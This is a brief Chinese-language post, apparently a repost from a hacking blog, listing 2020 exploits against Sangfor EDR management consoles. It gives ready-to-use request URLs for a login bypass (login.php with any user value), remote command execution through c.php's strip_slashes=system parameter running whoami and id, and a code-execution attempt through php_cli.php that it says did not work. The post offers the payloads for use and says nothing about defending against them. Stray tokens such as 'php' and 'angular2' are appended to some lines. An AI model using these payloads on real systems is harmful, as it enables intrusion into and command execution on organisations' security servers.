深信服edr 2020HW 0day
遠程命令執行漏洞 遠程代碼執行漏洞 任意用戶登錄漏洞
免密碼登錄 Payload
使用瀏覽器訪問 https://ip:prot/ui/login.php?user=任意字符
原文連接php
遠程命令執行
使用瀏覽器訪問 https://ip:prot/tool/log/c.php?strip_slashes=system&host=whoami https://ip:prot/tool/log/c.php?strip_slashes=system&host=id&path=id&row=id&limit=id
原文連接html
遠程代碼執行
https://ip:prot/tool/php_cli.php?code=phpinfo(); 未復現成功
原文連接瀏覽器
乾坤未定,你我皆是黑馬angular2